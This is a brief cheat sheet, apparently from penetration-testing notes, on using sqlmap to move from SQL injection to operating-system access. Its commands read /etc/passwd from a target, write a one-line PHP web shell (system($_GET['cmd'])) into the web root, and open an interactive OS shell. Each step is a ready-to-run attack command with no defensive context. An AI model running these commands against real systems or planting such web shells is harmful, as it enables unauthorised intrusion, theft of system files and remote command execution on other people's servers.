OS Exploitation (SQLMAP)

Read Files

terminal
$ sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"

Write Files

bash
$ echo '<?php system($_GET["cmd"]); ?>' > shell.php$ sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"

OS Command Execution

terminal
$ sqlmap -u "http://www.example.com/?id=1" --os-shell